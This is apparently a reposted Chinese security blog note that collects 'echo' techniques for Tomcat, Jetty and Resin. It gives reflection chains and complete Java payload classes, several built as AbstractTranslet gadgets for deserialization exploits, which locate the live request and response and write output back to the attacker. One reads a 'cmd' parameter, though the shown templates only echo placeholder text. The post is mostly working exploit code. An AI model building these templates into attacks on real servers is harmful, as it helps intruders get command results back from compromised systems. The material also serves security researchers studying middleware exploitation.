0x01 简介
本篇是对Tomcat、jetty、resin等中间件回显技术的一个记录,便于后续需要应用该技术时进行翻阅和回忆。
本质上就是寻找中间件运行时存储request、response这两个变量的位置,利用Java反射技术进行调用组装。
记录过程中,使用java-object-searcher工具进行辅助挖掘。感谢该作者无私开源。 https://github.com/c0ny1/java-object-searcher
使用该工具时,注意需要自行编译,然后将其加入到项目ClassPath即可,在用IDEA进行断点调试后,可以使用如下查询语句配合IDEA的Evaluate Expression
进行查询,然后在你设置结果存放目录下进行查看即可。
//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp/searchTomcatRsp/");
searcher.searchObject();
0x01 Tomcat回显
1.AbstractProtocol$ConnectionHandler->request/response?
//结果1
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [14] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
通过Java反射调用能够构造如下的代码demo。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.net.AbstractEndpoint;
import org.apache.tomcat.util.net.NioChannel;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class TomcatEchoTemplate extends AbstractTranslet {
public TomcatEchoTemplate() {
try {
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("Poller")) {
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
Method getHandler = obj.getClass().getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object handler = getHandler.invoke(obj);
Method getGlobal = handler.getClass().getDeclaredMethod("getGlobal");
getGlobal.setAccessible(true);
Object requestGroupInfo = getGlobal.invoke(handler);
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<Object> requestInfoArrayList = (ArrayList<Object>) processors.get(requestGroupInfo);
for (Object requestInfo : requestInfoArrayList) {
try {
field = requestInfo.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(requestInfo);
org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
byte[] buf = "Echo1".getBytes();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
request.getResponse().doWrite(bc);
}catch (Exception e){
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
2.ApplicationFilterChain->lastServicedRequest/lastServicedResponse?
public class TomcatEchoTemplate1 extends AbstractTranslet {
public static void TomcatEchoTemplate1() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
w.write("test");
w.flush();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
3.JmxMBeanServer->…->RequestGroupInfo
---> mserver = {com.sun.jmx.mbeanserver.JmxMBeanServer}
---> mbsInterceptor = {com.sun.jmx.interceptor.DefaultMBeanServerInterceptor}
---> repository = {com.sun.jmx.mbeanserver.Repository}
---> domainTb = {java.util.Map<java.lang.String, java.util.Map<java.lang.String, com.sun.jmx.mbeanserver.NamedObject>>}
---> [Catalina] = {java.util.HashMap}
---> [Catalina] = {com.sun.jmx.mbeanserver.NamedObject}
---> object = {org.apache.tomcat.util.modeler.BaseModelMBean}
---> resource = {org.apache.coyote.RequestGroupInfo}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;
import javax.management.MBeanServer;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.HashMap;
public class TomcatEchoTemplate2 extends AbstractTranslet {
public static void TomcatEchoTemplate2() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
try{
MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap)field.get(obj);
HashMap CatalinaMap = (HashMap)obj2.get("Catalina");
obj = CatalinaMap.get("name="http-nio-8080",type=GlobalRequestProcessor");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
field.setAccessible(true);
ArrayList obj3 = (ArrayList)field.get(obj);
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
field.setAccessible(true);
for (int i = 0; i < obj3.size(); i++) {
Request obj4 = (Request) field.get(obj3.get(i));
byte[] buf = "test".getBytes();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
obj4.getResponse().doWrite(bc);
}
} catch (Exception e){
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
0x02 Jetty回显
1. 获取HttpConnection,提取request
TargetObject = {java.lang.Thread}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [31] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {org.eclipse.jetty.server.HttpConnection}
---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp}
---> _request = {org.eclipse.jetty.server.Request}
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class JettyEchoTemplate {
public JettyEchoTemplate() {
Class clazz = Thread.currentThread().getClass();
Field field = null;
try {
field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] object_array = (Object[]) obj;
for (Object test : object_array){
if (test == null) continue;
Field value = test.getClass().getDeclaredField("value");
value.setAccessible(true);
Object ishttpConnection = value.get(test);
if (ishttpConnection != null && ishttpConnection.getClass().getName().endsWith("HttpConnection")){
java.lang.reflect.Method method = ishttpConnection.getClass().getDeclaredMethod("getHttpChannel", null);
Object httpChannel = method.invoke(ishttpConnection, null);
// method = httpChannel.getClass().getMethod("getRequest", null);
// obj = method.invoke(httpChannel, null);
method = httpChannel.getClass().getMethod("getResponse", null);
obj = method.invoke(httpChannel, null);
method = obj.getClass().getMethod("getWriter", null);
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);
printWriter.println("test");
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}
}
0x03 resin回显
TargetObject = {com.caucho.env.thread2.ResinThread2}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {com.caucho.server.http.HttpRequest}
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ResinEchoTemplate {
public ResinEchoTemplate() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {
Thread thread = Thread.currentThread();
Class<?> superclass = thread.getClass().getSuperclass();
Field threadLocals = superclass.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object o = threadLocals.get(thread);
Field table = o.getClass().getDeclaredField("table");
table.setAccessible(true);
Object omap = table.get(o);
Object[] object_array = (Object[]) omap;
for (Object singobj : object_array){
if (singobj == null) continue;
Field value = singobj.getClass().getDeclaredField("value");
value.setAccessible(true);
Object findRequest = value.get(singobj);
if (findRequest.getClass().getName().endsWith("HttpRequest")){
Method getRequestFacade = findRequest.getClass().getSuperclass().getDeclaredMethod("getResponseFacade");
getRequestFacade.setAccessible(true);
Object httpServletResponseImpl = getRequestFacade.invoke(findRequest);
Method getWriterM = httpServletResponseImpl.getClass().getMethod("getWriter");
Writer w = (Writer)getWriterM.invoke(httpServletResponseImpl);
w.write("test");
break;
}
}
}
}
0x04 参考文章
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
记录于2022年8月13日 in北京(23年修缮)
原文始发于微信公众号(JDArmy):java中间件回显方式总结